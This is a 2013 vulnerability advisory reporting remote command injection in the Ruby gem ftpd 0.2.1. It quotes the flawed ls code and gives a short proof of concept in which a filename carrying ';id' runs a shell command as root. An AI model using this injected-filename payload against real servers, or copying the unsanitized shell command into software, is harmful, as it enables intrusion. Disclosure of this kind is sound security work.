Ruby Gem ftpd-0.2.1 Remote Command Execution

2013-03-02T00:00:00
ID PACKETSTORM:120618
Type packetstorm
Reporter Larry W. Cashdollar
Modified 2013-03-02T00:00:00

Description

                                        
                                            `Remote command execution for Ruby Gem ftpd-0.2.1  
2/28/2013  
  
https://github.com/wconrad/ftpd  
http://rubygems.org/gems/ftpd  
  
"ftpd is a pure Ruby FTP server library. It supports implicit and explicit TLS, passive and active mode, and most of the commands specified in RFC 969. It an be used as part of a test fixture or embedded in a program."  
  
The ls interface can have commands injected into it if option or filename contain the shell character ; The example.rb server listens to localhost only which I used to test the ftp library. But if this gem is used normally it could be configured to listen on 0.0.0.0.  
  
PoC:  
for this to work the file must exist in the CWD.  
ftp> root@ubuntu:/tmp# sh /tmp/connect-to-example-ftp-server.sh  
Connected to localhost.  
220 ftpd  
Name (localhost:root):  
331 Password required  
Password:  
230 Logged in  
Remote system type is UNIX.  
Using binary mode to transfer files.  
  
* I created the filename adfasdf  
  
ftp> ls adfasdf;id  
200 PORT command successful  
150 Opening ASCII mode data connection  
-rw-r--r-- 1 root root 0 Mar 2 05:52 adfasdf  
uid=0(root) gid=0(root) groups=0(root)  
226 Transfer complete  
ftp>  
  
./ftpd-0.2.1/lib/ftpd/disk_file_system.rb  
  
The problem code is below  
  
204 Ls interface used by List and NameList 205  
206 module Ls  
207  
  
208 def ls(ftp_path, option)  
209 path = expand_ftp_path(ftp_path)  
210 dirname = File.dirname(path)  
211 filename = File.basename(path)  
212 command = [  
213 'ls',  
214 option,  
215 filename, <-- ;cmd inject  
216 '2>&1',  
217 ].compact.join(' ')  
218 if File.exists?(dirname) <- file has to exist to exec ls command  
219 list = Dir.chdir(dirname) do  
220 `{command}` <-- exec  
  
Larry W. Cashdollar  
@_larry0  
http://otiose.dhs.org/   
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